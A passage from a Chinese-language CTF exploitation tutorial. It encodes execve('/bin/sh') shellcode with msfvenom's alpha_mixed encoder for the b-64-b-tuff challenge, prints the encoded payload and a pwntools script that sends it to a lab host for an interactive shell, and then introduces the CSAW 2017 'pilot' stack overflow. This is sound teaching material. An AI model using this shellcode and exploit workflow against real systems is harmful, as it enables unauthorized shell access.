显然,我们需要先执行msfvenom -l encoders挑选一个编码器
图中的x86/alpha_mixed可以将shellcode编码成大小写混合的代码,符合我们的条件。所以我们配置命令参数如下:python -c 'import sys; sys.stdout.write("\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80")' | msfvenom -p - -e x86/alpha_mixed -a linux -f raw -a x86 --platform linux BufferRegister=EAX -o payload
我们需要自己输入ShellCode,但msfvenom只能从stdin中读取,所以使用linux管道操作符“|”,把ShellCode作为python程序的输出,从python的stdout传送到msfvenom的stdin。此外配置编码器为x86/alpha_mixed,配置目标平台架构等信息,输出到文件名为payload的文件中。最后,由于在b-64-b-tuff中是通过指令call eax调用shellcode的
所以配置BufferRegister=EAX。最后输出的payload内容为:
PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIp1kyigHaX06krqPh6ODoaccXU8ToE2bIbNLIXcHMOpAA
编写脚本如下:
#!/usr/bin/python #coding:utf-8 from pwn import * from base64 import * context.update(arch = 'i386', os = 'linux', timeout = 1) io = remote('172.17.0.2', 10001) shellcode = b64decode("PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIp1kyigHaX06krqPh6ODoaccXU8ToE2bIbNLIXcHMOpAA") print io.recv() io.send(shellcode) print io.recv() io.interactive()
成功获取shell
工具虽然好用,但也不是万能的。有的时候我们可以成功写入ShellCode,但是ShellCode在执行前甚至执行时却会被破坏。当破坏难以避免时,我们就需要手工拆分ShellCode,并且编写代码把两段分开的ShellCode再“连”到一起。比如例子~/CSAW Quals CTF 2017-pilot/pilot
这个程序的逻辑同样很简单,程序的main函数中存在一个栈溢出。